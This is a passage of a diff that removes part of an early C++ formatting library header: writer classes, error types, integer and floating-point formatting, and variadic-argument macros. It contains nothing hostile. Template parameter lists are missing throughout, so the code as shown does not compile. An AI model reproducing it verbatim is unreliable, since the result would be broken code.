arg_type, 3) FMT_WRAP1(func, arg_type, 4) \ - FMT_WRAP1(func, arg_type, 5) FMT_WRAP1(func, arg_type, 6) FMT_WRAP1(func, arg_type, 7) \ - FMT_WRAP1(func, arg_type, 8) FMT_WRAP1(func, arg_type, 9) \ - FMT_WRAP1(func, arg_type, 10) - -#define FMT_CTOR(ctor, func, arg0_type, arg1_type, n) \ - template \ - ctor(arg0_type arg0, arg1_type arg1, FMT_GEN(n, FMT_MAKE_ARG)) { \ - const fmt::internal::ArgArray::Type array = { FMT_GEN(n, FMT_MAKE_REF) }; \ - func( \ - arg0, arg1, fmt::ArgList(fmt::internal::make_type(FMT_GEN(n, FMT_MAKE_REF2)), array)); \ - } - -// Emulates a variadic constructor on a pre-C++11 compiler. -#define FMT_VARIADIC_CTOR(ctor, func, arg0_type, arg1_type) \ - FMT_CTOR(ctor, func, arg0_type, arg1_type, 1) \ - FMT_CTOR(ctor, func, arg0_type, arg1_type, 2) \ - FMT_CTOR(ctor, func, arg0_type, arg1_type, 3) \ - FMT_CTOR(ctor, func, arg0_type, arg1_type, 4) \ - FMT_CTOR(ctor, func, arg0_type, arg1_type, 5) \ - FMT_CTOR(ctor, func, arg0_type, arg1_type, 6) \ - FMT_CTOR(ctor, func, arg0_type, arg1_type, 7) \ - FMT_CTOR(ctor, func, arg0_type, arg1_type, 8) \ - FMT_CTOR(ctor, func, arg0_type, arg1_type, 9) \ - FMT_CTOR(ctor, func, arg0_type, arg1_type, 10) -#endif - -// Generates a comma-separated list with results of applying f to pairs -// (argument, index). -#define FMT_FOR_EACH1(f, x0) f(x0, 0) -#define FMT_FOR_EACH2(f, x0, x1) FMT_FOR_EACH1(f, x0), f(x1, 1) -#define FMT_FOR_EACH3(f, x0, x1, x2) FMT_FOR_EACH2(f, x0, x1), f(x2, 2) -#define FMT_FOR_EACH4(f, x0, x1, x2, x3) FMT_FOR_EACH3(f, x0, x1, x2), f(x3, 3) -#define FMT_FOR_EACH5(f, x0, x1, x2, x3, x4) FMT_FOR_EACH4(f, x0, x1, x2, x3), f(x4, 4) -#define FMT_FOR_EACH6(f, x0, x1, x2, x3, x4, x5) FMT_FOR_EACH5(f, x0, x1, x2, x3, x4), f(x5, 5) -#define FMT_FOR_EACH7(f, x0, x1, x2, x3, x4, x5, x6) \ - FMT_FOR_EACH6(f, x0, x1, x2, x3, x4, x5), f(x6, 6) -#define FMT_FOR_EACH8(f, x0, x1, x2, x3, x4, x5, x6, x7) \ - FMT_FOR_EACH7(f, x0, x1, x2, x3, x4, x5, x6), f(x7, 7) -#define FMT_FOR_EACH9(f, x0, x1, x2, x3, x4, x5, x6, x7, x8) \ - FMT_FOR_EACH8(f, x0, x1, x2, x3, x4, x5, x6, x7), f(x8, 8) -#define FMT_FOR_EACH10(f, x0, x1, x2, x3, x4, x5, x6, x7, x8, x9) \ - FMT_FOR_EACH9(f, x0, x1, x2, x3, x4, x5, x6, x7, x8), f(x9, 9) - -/** -An error returned by an operating system or a language runtime, -for example a file opening error. -*/ -class SystemError : public internal::RuntimeError { -private: - void init(int err_code, CStringRef format_str, ArgList args); - -protected: - int error_code_; - - typedef char Char; // For FMT_VARIADIC_CTOR. - - SystemError() {} - -public: - /** - \rst - Constructs a :class:`fmt::SystemError` object with the description - of the form - - .. parsed-literal:: - **: ** - - where ** is the formatted message and ** is - the system message corresponding to the error code. - *error_code* is a system error code as given by ``errno``. - If *error_code* is not a valid error code such as -1, the system message - may look like "Unknown error -1" and is platform-dependent. - - **Example**:: - - // This throws a SystemError with the description - // cannot open file 'madeup': No such file or directory - // or similar (system message may vary). - const char *filename = "madeup"; - std::FILE *file = std::fopen(filename, "r"); - if (!file) - throw fmt::SystemError(errno, "cannot open file '{}'", filename); - \endrst - */ - SystemError(int error_code, CStringRef message) { init(error_code, message, ArgList()); } - FMT_VARIADIC_CTOR(SystemError, init, int, CStringRef) - - int - error_code() const { - return error_code_; - } -}; - -/** -\rst -This template provides operations for formatting and writing data into -a character stream. The output is stored in a buffer provided by a subclass -such as :class:`fmt::BasicMemoryWriter`. - -You can use one of the following typedefs for common character types: - -+---------+----------------------+ -| Type | Definition | -+=========+======================+ -| Writer | BasicWriter | -+---------+----------------------+ -| WWriter | BasicWriter | -+---------+----------------------+ - -\endrst -*/ -template -class BasicWriter { -private: - // Output buffer. - Buffer& buffer_; - - FMT_DISALLOW_COPY_AND_ASSIGN(BasicWriter); - - typedef typename internal::CharTraits::CharPtr CharPtr; - -#if FMT_SECURE_SCL - // Returns pointer value. - static Char* - get(CharPtr p) { - return p.base(); - } -#else - static Char* - get(Char* p) { - return p; - } -#endif - - // Fills the padding around the content and returns the pointer to the - // content area. - static CharPtr - fill_padding(CharPtr buffer, unsigned total_size, std::size_t content_size, wchar_t fill); - - // Grows the buffer by n characters and returns a pointer to the newly - // allocated area. - CharPtr - grow_buffer(std::size_t n) { - std::size_t size = buffer_.size(); - buffer_.resize(size + n); - return internal::make_ptr(&buffer_[size], n); - } - - // Writes an unsigned decimal integer. - template - Char* - write_unsigned_decimal(UInt value, unsigned prefix_size = 0) { - unsigned num_digits = internal::count_digits(value); - Char* ptr = get(grow_buffer(prefix_size + num_digits)); - internal::format_decimal(ptr + prefix_size, value, num_digits); - return ptr; - } - - // Writes a decimal integer. - template - void - write_decimal(Int value) { - typename internal::IntTraits::MainType abs_value = value; - if (internal::is_negative(value)) { - abs_value = 0 - abs_value; - *write_unsigned_decimal(abs_value, 1) = '-'; - } else { - write_unsigned_decimal(abs_value, 0); - } - } - - // Prepare a buffer for integer formatting. - CharPtr - prepare_int_buffer(unsigned num_digits, - const EmptySpec&, - const char* prefix, - unsigned prefix_size) { - unsigned size = prefix_size + num_digits; - CharPtr p = grow_buffer(size); - std::uninitialized_copy(prefix, prefix + prefix_size, p); - return p + size - 1; - } - - template - CharPtr prepare_int_buffer(unsigned num_digits, - const Spec& spec, - const char* prefix, - unsigned prefix_size); - - // Formats an integer. - template - void write_int(T value, Spec spec); - - // Formats a floating-point number (double or long double). - template - void write_double(T value, const FormatSpec& spec); - - // Writes a formatted string. - template - CharPtr write_str(const StrChar* s, std::size_t size, const AlignSpec& spec); - - template - void write_str(const internal::Arg::StringValue& str, const FormatSpec& spec); - - // This following methods are private to disallow writing wide characters - // and strings to a char stream. If you want to print a wide string as a - // pointer as std::ostream does, cast it to const void*. - // Do not implement! - void operator<<(typename internal::WCharHelper::Unsupported); - void operator<<(typename internal::WCharHelper::Unsupported); - - // Appends floating-point length specifier to the format string. - // The second argument is only used for overload resolution. - void - append_float_length(Char*& format_ptr, long double) { - *format_ptr++ = 'L'; - } - - template - void - append_float_length(Char*&, T) {} - - template - friend class internal::ArgFormatterBase; - - friend class internal::PrintfArgFormatter; - -protected: - /** - Constructs a ``BasicWriter`` object. - */ - explicit BasicWriter(Buffer& b) : buffer_(b) {} - -public: - /** - \rst - Destroys a ``BasicWriter`` object. - \endrst - */ - virtual ~BasicWriter() {} - - /** - Returns the total number of characters written. - */ - std::size_t - size() const { - return buffer_.size(); - } - - /** - Returns a pointer to the output buffer content. No terminating null - character is appended. - */ - const Char* - data() const FMT_NOEXCEPT { - return &buffer_[0]; - } - - /** - Returns a pointer to the output buffer content with terminating null - character appended. - */ - const Char* - c_str() const { - std::size_t size = buffer_.size(); - buffer_.reserve(size + 1); - buffer_[size] = '\0'; - return &buffer_[0]; - } - - /** - \rst - Returns the content of the output buffer as an `std::string`. - \endrst - */ - std::basic_string - str() const { - return std::basic_string(&buffer_[0], buffer_.size()); - } - - /** - \rst - Writes formatted data. - - *args* is an argument list representing arbitrary arguments. - - **Example**:: - - MemoryWriter out; - out.write("Current point:\n"); - out.write("({:+f}, {:+f})", -3.14, 3.14); - - This will write the following output to the ``out`` object: - - .. code-block:: none - - Current point: - (-3.140000, +3.140000) - - The output can be accessed using :func:`data()`, :func:`c_str` or - :func:`str` methods. - - See also :ref:`syntax`. - \endrst - */ - void - write(BasicCStringRef format, ArgList args) { - BasicFormatter(args, *this).format(format); - } - FMT_VARIADIC_VOID(write, BasicCStringRef) - - BasicWriter& operator<<(int value) { - write_decimal(value); - return *this; - } - BasicWriter& operator<<(unsigned value) { return *this << IntFormatSpec(value); } - BasicWriter& operator<<(long value) { - write_decimal(value); - return *this; - } - BasicWriter& operator<<(unsigned long value) { - return *this << IntFormatSpec(value); - } - BasicWriter& operator<<(LongLong value) { - write_decimal(value); - return *this; - } - - /** - \rst - Formats *value* and writes it to the stream. - \endrst - */ - BasicWriter& operator<<(ULongLong value) { return *this << IntFormatSpec(value); } - - BasicWriter& operator<<(double value) { - write_double(value, FormatSpec()); - return *this; - } - - /** - \rst - Formats *value* using the general format for floating-point numbers - (``'g'``) and writes it to the stream. - \endrst - */ - BasicWriter& operator<<(long double value) { - write_double(value, FormatSpec()); - return *this; - } - - /** - Writes a character to the stream. - */ - BasicWriter& operator<<(char value) { - buffer_.push_back(value); - return *this; - } - - BasicWriter& operator<<(typename internal::WCharHelper::Supported value) { - buffer_.push_back(value); - return *this; - } - - /** - \rst - Writes *value* to the stream. - \endrst - */ - BasicWriter& operator<<(fmt::BasicStringRef value) { - const Char* str = value.data(); - buffer_.append(str, str + value.size()); - return *this; - } - - BasicWriter& operator<<(typename internal::WCharHelper::Supported value) { - const char* str = value.data(); - buffer_.append(str, str + value.size()); - return *this; - } - - template - BasicWriter& operator<<(IntFormatSpec spec) { - internal::CharTraits::convert(FillChar()); - write_int(spec.value(), spec); - return *this; - } - - template - BasicWriter& operator<<(const StrFormatSpec& spec) { - const StrChar* s = spec.str(); - write_str(s, std::char_traits::length(s), spec); - return *this; - } - - void - clear() FMT_NOEXCEPT { - buffer_.clear(); - } -}; - -template -template -typename BasicWriter::CharPtr -BasicWriter::write_str(const StrChar* s, std::size_t size, const AlignSpec& spec) { - CharPtr out = CharPtr(); - if (spec.width() > size) { - out = grow_buffer(spec.width()); - Char fill = internal::CharTraits::cast(spec.fill()); - if (spec.align() == ALIGN_RIGHT) { - std::uninitialized_fill_n(out, spec.width() - size, fill); - out += spec.width() - size; - } else if (spec.align() == ALIGN_CENTER) { - out = fill_padding(out, spec.width(), size, fill); - } else { - std::uninitialized_fill_n(out + size, spec.width() - size, fill); - } - } else { - out = grow_buffer(size); - } - std::uninitialized_copy(s, s + size, out); - return out; -} - -template -template -void -BasicWriter::write_str(const internal::Arg::StringValue& s, const FormatSpec& spec) { - // Check if StrChar is convertible to Char. - internal::CharTraits::convert(StrChar()); - if (spec.type_ && spec.type_ != 's') internal::report_unknown_type(spec.type_, "string"); - const StrChar* str_value = s.value; - std::size_t str_size = s.size; - if (str_size == 0) { - if (!str_value) { - FMT_THROW(FormatError("string pointer is null")); - return; - } - } - std::size_t precision = spec.precision_; - if (spec.precision_ >= 0 && precision < str_size) str_size = spec.precision_; - write_str(str_value, str_size, spec); -} - -template -typename BasicWriter::CharPtr -BasicWriter::fill_padding(CharPtr buffer, - unsigned total_size, - std::size_t content_size, - wchar_t fill) { - std::size_t padding = total_size - content_size; - std::size_t left_padding = padding / 2; - Char fill_char = internal::CharTraits::cast(fill); - std::uninitialized_fill_n(buffer, left_padding, fill_char); - buffer += left_padding; - CharPtr content = buffer; - std::uninitialized_fill_n(buffer + content_size, padding - left_padding, fill_char); - return content; -} - -template -template -typename BasicWriter::CharPtr -BasicWriter::prepare_int_buffer(unsigned num_digits, - const Spec& spec, - const char* prefix, - unsigned prefix_size) { - unsigned width = spec.width(); - Alignment align = spec.align(); - Char fill = internal::CharTraits::cast(spec.fill()); - if (spec.precision() > static_cast(num_digits)) { - // Octal prefix '0' is counted as a digit, so ignore it if precision - // is specified. - if (prefix_size > 0 && prefix[prefix_size - 1] == '0') --prefix_size; - unsigned number_size = prefix_size + spec.precision(); - AlignSpec subspec(number_size, '0', ALIGN_NUMERIC); - if (number_size >= width) - return prepare_int_buffer(num_digits, subspec, prefix, prefix_size); - buffer_.reserve(width); - unsigned fill_size = width - number_size; - if (align != ALIGN_LEFT) { - CharPtr p = grow_buffer(fill_size); - std::uninitialized_fill(p, p + fill_size, fill); - } - CharPtr result = prepare_int_buffer(num_digits, subspec, prefix, prefix_size); - if (align == ALIGN_LEFT) { - CharPtr p = grow_buffer(fill_size); - std::uninitialized_fill(p, p + fill_size, fill); - } - return result; - } - unsigned size = prefix_size + num_digits; - if (width <= size) { - CharPtr p = grow_buffer(size); - std::uninitialized_copy(prefix, prefix + prefix_size, p); - return p + size - 1; - } - CharPtr p = grow_buffer(width); - CharPtr end = p + width; - if (align == ALIGN_LEFT) { - std::uninitialized_copy(prefix, prefix + prefix_size, p); - p += size; - std::uninitialized_fill(p, end, fill); - } else if (align == ALIGN_CENTER) { - p = fill_padding(p, width, size, fill); - std::uninitialized_copy(prefix, prefix + prefix_size, p); - p += size; - } else { - if (align == ALIGN_NUMERIC) { - if (prefix_size != 0) { - p = std::uninitialized_copy(prefix, prefix + prefix_size, p); - size -= prefix_size; - } - } else { - std::uninitialized_copy(prefix, prefix + prefix_size, end - size); - } - std::uninitialized_fill(p, end - size, fill); - p = end; - } - return p - 1; -} - -template -template -void -BasicWriter::write_int(T value, Spec spec) { - unsigned prefix_size = 0; - typedef typename internal::IntTraits::MainType UnsignedType; - UnsignedType abs_value = value; - char prefix[4] = ""; - if (internal::is_negative(value)) { - prefix[0] = '-'; - ++prefix_size; - abs_value = 0 - abs_value; - } else if (spec.flag(SIGN_FLAG)) { - prefix[0] = spec.flag(PLUS_FLAG) ? '+' : ' '; - ++prefix_size; - } - switch (spec.type()) { - case 0: - case 'd': { - unsigned num_digits = internal::count_digits(abs_value); - CharPtr p = prepare_int_buffer(num_digits, spec, prefix, prefix_size) + 1 - num_digits; - internal::format_decimal(get(p), abs_value, num_digits); - break; - } - case 'x': - case 'X': { - UnsignedType n = abs_value; - if (spec.flag(HASH_FLAG)) { - prefix[prefix_size++] = '0'; - prefix[prefix_size++] = spec.type(); - } - unsigned num_digits = 0; - do { ++num_digits; } while ((n >>= 4) != 0); - Char* p = get(prepare_int_buffer(num_digits, spec, prefix, prefix_size)); - n = abs_value; - const char* digits = spec.type() == 'x' ? "0123456789abcdef" : "0123456789ABCDEF"; - do { *p-- = digits[n & 0xf]; } while ((n >>= 4) != 0); - break; - } - case 'b': - case 'B': { - UnsignedType n = abs_value; - if (spec.flag(HASH_FLAG)) { - prefix[prefix_size++] = '0'; - prefix[prefix_size++] = spec.type(); - } - unsigned num_digits = 0; - do { ++num_digits; } while ((n >>= 1) != 0); - Char* p = get(prepare_int_buffer(num_digits, spec, prefix, prefix_size)); - n = abs_value; - do { *p-- = static_cast('0' + (n & 1)); } while ((n >>= 1) != 0); - break; - } - case 'o': { - UnsignedType n = abs_value; - if (spec.flag(HASH_FLAG)) prefix[prefix_size++] = '0'; - unsigned num_digits = 0; - do { ++num_digits; } while ((n >>= 3) != 0); - Char* p = get(prepare_int_buffer(num_digits, spec, prefix, prefix_size)); - n = abs_value; - do { *p-- = static_cast('0' + (n & 7)); } while ((n >>= 3) != 0); - break; - } - default: - internal::report_unknown_type(spec.type(), spec.flag(CHAR_FLAG) ? "char" : "integer"); - break; - } -} - -template -template -void -BasicWriter::write_double(T value, const FormatSpec& spec) { - // Check type. - char type = spec.type(); - bool upper = false; - switch (type) { - case 0: type = 'g'; break; - case 'e': - case 'f': - case 'g': - case 'a': break; - case 'F': -#ifdef _MSC_VER - // MSVC's printf doesn't support 'F'. - type = 'f'; -#endif - // Fall through. - case 'E': - case 'G': - case 'A': upper = true; break; - default: internal::report_unknown_type(type, "double"); break; - } - - char sign = 0; - // Use isnegative instead of value < 0 because the latter is always - // false for NaN. - if (internal::FPUtil::isnegative(static_cast(value))) { - sign = '-'; - value = -value; - } else if (spec.flag(SIGN_FLAG)) { - sign = spec.flag(PLUS_FLAG) ? '+' : ' '; - } - - if (internal::FPUtil::isnotanumber(value)) { - // Format NaN ourselves because sprintf's output is not consistent - // across platforms. - std::size_t nan_size = 4; - const char* nan = upper ? " NAN" : " nan"; - if (!sign) { - --nan_size; - ++nan; - } - CharPtr out = write_str(nan, nan_size, spec); - if (sign) *out = sign; - return; - } - - if (internal::FPUtil::isinfinity(value)) { - // Format infinity ourselves because sprintf's output is not consistent - // across platforms. - std::size_t inf_size = 4; - const char* inf = upper ? " INF" : " inf"; - if (!sign) { - --inf_size; - ++inf; - } - CharPtr out = write_str(inf, inf_size, spec); - if (sign) *out = sign; - return; - } - - std::size_t offset = buffer_.size(); - unsigned width = spec.width(); - if (sign) { - buffer_.reserve(buffer_.size() + (width > 1u ? width : 1u)); - if (width > 0) --width; - ++offset; - } - - // Build format string. - enum { MAX_FORMAT_SIZE = 10 }; // longest format: %#-*.*Lg - Char format[MAX_FORMAT_SIZE]; - Char* format_ptr = format; - *format_ptr++ = '%'; - unsigned width_for_sprintf = width; - if (spec.flag(HASH_FLAG)) *format_ptr++ = '#'; - if (spec.align() == ALIGN_CENTER) { - width_for_sprintf = 0; - } else { - if (spec.align() == ALIGN_LEFT) *format_ptr++ = '-'; - if (width != 0) *format_ptr++ = '*'; - } - if (spec.precision() >= 0) { - *format_ptr++ = '.'; - *format_ptr++ = '*'; - } - - append_float_length(format_ptr, value); - *format_ptr++ = type; - *format_ptr = '\0'; - - // Format using snprintf. - Char fill = internal::CharTraits::cast(spec.fill()); - for (;;) { - std::size_t buffer_size = buffer_.capacity() - offset; -#ifdef _MSC_VER - // MSVC's vsnprintf_s doesn't work with zero size, so reserve - // space for at least one extra character to make the size non-zero. - // Note that the buffer's capacity will increase by more than 1. - if (buffer_size == 0) { - buffer_.reserve(offset + 1); - buffer_size = buffer_.capacity() - offset; - } -#endif - Char* start = &buffer_[offset]; - int n = internal::CharTraits::format_float( - start, buffer_size, format, width_for_sprintf, spec.precision(), value); - if (n >= 0 && offset + n < buffer_.capacity()) { - if (sign) { - if ((spec.align() != ALIGN_RIGHT && spec.align() != ALIGN_DEFAULT) || - *start != ' ') { - *(start - 1) = sign; - sign = 0; - } else { - *(start - 1) = fill; - } - ++n; - } - if (spec.align() == ALIGN_CENTER && spec.width() > static_cast(n)) { - width = spec.width(); - CharPtr p = grow_buffer(width); - std::memmove(get(p) + (width - n) / 2, get(p), n * sizeof(Char)); - fill_padding(p, spec.width(), n, fill); - return; - } - if (spec.fill() != ' ' || sign) { - while (*start == ' ') *start++ = fill; - if (sign) *(start - 1) = sign; - } - grow_buffer(n); - return; - } - // If n is negative we ask to increase the capacity by at least 1, - // but as std::vector, the buffer grows exponentially. - buffer_.reserve(n >= 0 ? offset + n + 1 : buffer_.capacity() + 1); - } -} - -/** -\rst -This class template provides operations for formatting and writing data -into a character stream. The output is stored in a memory buffer that grows -dynamically. - -You can use one of the following typedefs for common character types -and the standard allocator: - -+---------------+-----------------------------------------------------+ -| Type | Definition | -+===============+=====================================================+ -| MemoryWriter | BasicMemoryWriter> | -+---------------+-----------------------------------------------------+ -| WMemoryWriter | BasicMemoryWriter> | -+---------------+-----------------------------------------------------+ - -**Example**:: - -MemoryWriter out; -out << "The answer is " << 42 << "\n"; -out.write("({:+f}, {:+f})", -3.14, 3.14); - -This will write the following output to the ``out`` object: - -.. code-block:: none - -The answer is 42 -(-3.140000, +3.140000) - -The output can be converted to an ``std::string`` with ``out.str()`` or -accessed as a C string with ``out.c_str()``. -\endrst -*/ -template > -class BasicMemoryWriter : public BasicWriter { -private: - internal::MemoryBuffer buffer_; - -public: - explicit BasicMemoryWriter(const Allocator& alloc = Allocator()) - : BasicWriter(buffer_), buffer_(alloc) {} - -#if FMT_USE_RVALUE_REFERENCES - /** - \rst - Constructs a :class:`fmt::BasicMemoryWriter` object moving the content - of the other object to it. - \endrst - */ - BasicMemoryWriter(BasicMemoryWriter&& other) - : BasicWriter(buffer_), buffer_(std::move(other.buffer_)) {} - - /** - \rst - Moves the content of the other ``BasicMemoryWriter`` object to this one. - \endrst - */ - BasicMemoryWriter& operator=(BasicMemoryWriter&& other) { - buffer_ = std::move(other.buffer_); - return *this; - } -#endif -}; - -typedef BasicMemoryWriter MemoryWriter; -typedef BasicMemoryWriter WMemoryWriter; - -/** -\rst -This class template provides operations for formatting and writing data -into a fixed-size array. For writing into a dynamically growing buffer -use :class:`fmt::BasicMemoryWriter`. - -Any write method will throw ``std::runtime_error`` if the output doesn't fit -into the array. - -You can use one of the following typedefs for common character types: - -+--------------+---------------------------+ -| Type | Definition | -+==============+===========================+ -| ArrayWriter | BasicArrayWriter | -+--------------+---------------------------+ -| WArrayWriter | BasicArrayWriter | -+--------------+---------------------------+ -\endrst -*/ -template -class BasicArrayWriter : public BasicWriter { -private: - internal::FixedBuffer buffer_; - -public: - /** - \rst - Constructs a :class:`fmt::BasicArrayWriter` object for *array* of the - given size. - \endrst - */ - BasicArrayWriter(Char* array, std::size_t size) - : BasicWriter(buffer_), buffer_(array, size) {} - - /** - \rst - Constructs a :class:`fmt::BasicArrayWriter` object for *array* of the - size known at compile time. - \endrst - */ - template - explicit BasicArrayWriter(Char(&array)[SIZE]) - : BasicWriter(buffer_), buffer_(array, SIZE) {} -}; - -typedef BasicArrayWriter ArrayWriter; -typedef BasicArrayWriter WArrayWriter; - -// Formats a value. -template -void -format(BasicFormatter& f, const Char*& format_str, const T& value) { - internal::MemoryBuffer buffer; - - internal::FormatBuf format_buf(buffer); - std::basic_ostream output(&format_buf); - output << value; - - BasicStringRef str(&buffer[0], format_buf.size()); - typedef internal::MakeValue> MakeValue; - internal::Arg arg = MakeValue(str); - arg.type = static_cast(MakeValue::type(str)); - format_str = f.format(format_str, arg); -} - -// Reports a system error without throwing an exception. -// Can be used to report errors from destructors. -FMT_API void report_system_error(int error_code, StringRef message) FMT_NOEXCEPT; - -#if FMT_USE_WINDOWS_H - -/** A Windows error. */ -class WindowsError : public SystemError { -private: - FMT_API void init(int error_code, CStringRef format_str, ArgList args); - -public: - /** - \rst - Constructs a :class:`fmt::WindowsError` object with the description - of the form - - .. parsed-literal:: - **: ** - - where ** is the formatted message and ** is the - system message corresponding to the error code. - *error_code* is a Windows error code as given by ``GetLastError``. - If *error_code* is not a valid error code such as -1, the system message - will look like "error -1". - - **Example**:: - - // This throws a WindowsError with the description - // cannot open file 'madeup': The system cannot find the file specified. - // or similar (system message may vary). - const char *filename = "madeup"; - LPOFSTRUCT of = LPOFSTRUCT(); - HFILE file = OpenFile(filename, &of, OF_READ); - if (file == HFILE_ERROR) { - throw fmt::WindowsError(GetLastError(), - "cannot open file '{}'", filename); - } - \endrst - */ - WindowsError(int error_code, CStringRef message) { init(error_code, message, ArgList()); } - FMT_VARIADIC_CTOR(WindowsError, init, int, CStringRef) -}; - -// Reports a Windows error without throwing an exception. -// Can be used to report errors from destructors. -FMT_API void report_windows_error(int error_code, StringRef message) FMT_NOEXCEPT; - -#endif - -enum Color { BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE }; - -/** -Formats a string and prints it to stdout using ANSI escape sequences -to specify color (experimental). -Example: -print_colored(fmt::RED, "Elapsed time: {0:.2f} seconds", 1.23); -*/ -FMT_API void print_colored(Color c, CStringRef format, ArgList args); - -/** -\rst -Formats arguments and returns the result as a string. - -**Example**:: - -std::string message = format("The answer is {}", 42); -\endrst -*/ -inline std::string -format(CStringRef format_str, ArgList args) { - MemoryWriter w; - w.write(format_str, args); - return w.str(); -} - -inline std::wstring -format(WCStringRef format_str, ArgList args) { - WMemoryWriter w; - w.write(format_str, args); - return w.str(); -} - -/** -\rst -Prints formatted data to the file *f*. - -**Example**:: - -print(stderr, "Don't {}!", "panic"); -\endrst -*/ -FMT_API void print(std::FILE* f, CStringRef format_str, ArgList args); - -/** -\rst -Prints formatted data to ``stdout``. - -**Example**:: - -print("Elapsed time: {0:.2f} seconds", 1.23); -\endrst -*/ -FMT_API void print(CStringRef format_str, ArgList args); - -template -void -printf(BasicWriter& w, BasicCStringRef format, ArgList args) { - internal::PrintfFormatter(args).format(w, format); -} - -/** -\rst -Formats arguments and returns the result as a string. - -**Example**:: - -std::string message = fmt::sprintf("The answer is %d", 42); -\endrst -*/ -inline std::string -sprintf(CStringRef format, ArgList args) { - MemoryWriter w; - printf(w, format, args); - return w.str(); -} - -inline std::wstring -sprintf(WCStringRef format, ArgList args) { - WMemoryWriter w; - printf(w, format, args); - return w.str(); -} - -/** -\rst -Prints formatted data to the file *f*. - -**Example**:: - -fmt::fprintf(stderr, "Don't %s!", "panic"); -\endrst -*/ -FMT_API int fprintf(std::FILE* f, CStringRef format, ArgList args); - -/** -\rst -Prints formatted data to ``stdout``. - -**Example**:: - -fmt::printf("Elapsed time: %.2f seconds", 1.23); -\endrst -*/ -inline int -printf(CStringRef format, ArgList args) { - return fprintf(stdout, format, args); -} - -/** -Fast integer formatter. -*/ -class FormatInt { -private: - // Buffer should be large enough to hold all digits (digits10 + 1), - // a sign and a null character. - enum { BUFFER_SIZE = std::numeric_limits::digits10 + 3 }; - mutable char buffer_[BUFFER_SIZE]; - char* str_; - - // Formats value in reverse and returns the number of digits. - char* - format_decimal(ULongLong value) { - char* buffer_end = buffer_ + BUFFER_SIZE - 1; - while (value >= 100) { - // Integer division is slow so do it for a group of two digits instead - // of for every digit. The idea comes from the talk by Alexandrescu - // "Three Optimization Tips for C++". See speed-test for a comparison. - unsigned index = static_cast((value % 100) * 2); - value /= 100; - *--buffer_end = internal::Data::DIGITS[index + 1]; - *--buffer_end = internal::Data::DIGITS[index]; - } - if (value < 10) { - *--buffer_end = static_cast('0' + value); - return buffer_end; - } - unsigned index = static_cast(value * 2); - *--buffer_end = internal::Data::DIGITS[index + 1]; - *--buffer_end = internal::Data::DIGITS[index]; - return buffer_end; - } - - void - FormatSigned(LongLong value) { - ULongLong abs_value = static_cast(value); - bool negative = value < 0; - if (negative) abs_value = 0 - abs_value; - str_ = format_decimal(abs_value); - if (negative) *--str_ = '-'; - } - -public: - explicit FormatInt(int value) { FormatSigned(value); } - explicit FormatInt(long value) { FormatSigned(value); } - explicit FormatInt(LongLong value) { FormatSigned(value); } - explicit FormatInt(unsigned value) : str_(format_decimal(value)) {} - explicit FormatInt(unsigned long value) : str_(format_decimal(value)) {} - explicit FormatInt(ULongLong value) : str_(format_decimal(value)) {} - - /** - Returns the number of characters written to the output buffer. - */ - std::size_t - size() const { - return buffer_ - str_ + BUFFER_SIZE - 1; - } - - /** - Returns a pointer to the output buffer content. No terminating null - character is appended. - */ - const char* - data() const { - return str_; - } - - /** - Returns a pointer to the output buffer content with terminating null - character appended. - */ - const char* - c_str() const { - buffer_[BUFFER_SIZE - 1] = '\0'; - return str_; - } - - /** - \rst - Returns the content of the output buffer as an ``std::string``. - \endrst - */ - std::string - str() const { - return std::string(str_, size()); - } -}; - -// Formats a decimal integer value writing into buffer and returns -// a pointer to the end of the formatted string. This function doesn't -// write a terminating null character. -template -inline void -format_decimal(char*& buffer, T value) { - typename internal::IntTraits::MainType abs_value = value; - if (internal::is_negative(value)) { - *buffer++ = '-'; - abs_value = 0 - abs_value; - } - if (abs_value < 100) { - if (abs_value < 10) { - *buffer++ = static_cast('0' + abs_value); - return; - } - unsigned index = static_cast(abs_value * 2); - *buffer++ = internal::Data::DIGITS[index]; - *buffer++ = internal::Data::DIGITS[index + 1]; - return; - } - unsigned num_digits = internal::count_digits(abs_value); - internal::format_decimal(buffer, abs_value, num_digits); - buffer += num_digits; -} - -/** -\rst -Returns a named argument for formatting functions. - -**Example**:: - -print("Elapsed time: {s:.2f} seconds", arg("s", 1.23)); - -\endrst -*/ -template -inline internal::NamedArg -arg(StringRef name, const T& arg) { - return internal::NamedArg(name, arg); -} - -template -inline internal::NamedArg -arg(WStringRef name, const T& arg) { - return internal::NamedArg(name, arg); -} - -// The following two functions are deleted intentionally to disable -// nested named arguments as in ``format("{}", arg("a", arg("b", 42)))``. -template -void arg(StringRef, const internal::NamedArg&) FMT_DELETED_OR_UNDEFINED; -template -void arg(WStringRef, const internal::NamedArg&) FMT_DELETED_OR_UNDEFINED; -} - -#if FMT_GCC_VERSION -// Use the system_header pragma to suppress warnings about variadic macros -// because suppressing -Wvariadic-macros with the diagnostic pragma doesn't -// work. It is used at the end because we want to suppress as little warnings -// as possible. -#pragma GCC system_header -#endif - -// This is used to work around VC++ bugs in handling variadic macros. -#define FMT_EXPAND(args) args - -// Returns the number of arguments. -// Based on https://groups.google.com/forum/#!topic/comp.std.c/d-6Mj5Lko_s. -#define FMT_NARG(...) FMT_NARG_(__VA_ARGS__, FMT_RSEQ_N()) -#define FMT_NARG_(...) FMT_EXPAND(FMT_ARG_N(__VA_ARGS__)) -#define FMT_ARG_N(_1, _2, _3, _4, _5, _6, _7, _8, _9, _10, N, ...) N -#define FMT_RSEQ_N() 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 - -#define FMT_CONCAT(a, b) a##b -#define FMT_FOR_EACH_(N, f, ...) FMT_EXPAND(FMT_CONCAT(FMT_FOR_EACH, N)(f, __VA_ARGS__)) -#define FMT_FOR_EACH(f, ...) FMT_EXPAND(FMT_FOR_EACH_(FMT_NARG(__VA_ARGS__), f, __VA_ARGS__)) - -#define FMT_ADD_ARG_NAME(type, index) type arg##index -#define FMT_GET_ARG_NAME(type, index) arg##index - -#if FMT_USE_VARIADIC_TEMPLATES -#define FMT_VARIADIC_(Char, ReturnType, func, call, ...) \ - template \ - ReturnType func(FMT_FOR_EACH(FMT_ADD_ARG_NAME, __VA_ARGS__), const Args&... args) { \ - typename fmt::internal::ArgArray::Type array; \ - call(FMT_FOR_EACH(FMT_GET_ARG_NAME, __VA_ARGS__), \ - fmt::internal::make_arg_list>(array, args...)); \ - } -#else -// Defines a wrapper for a function taking __VA_ARGS__ arguments -// and n additional arguments of arbitrary types. -#define FMT_WRAP(Char, ReturnType, func, call, n, ...) \ - template \ - 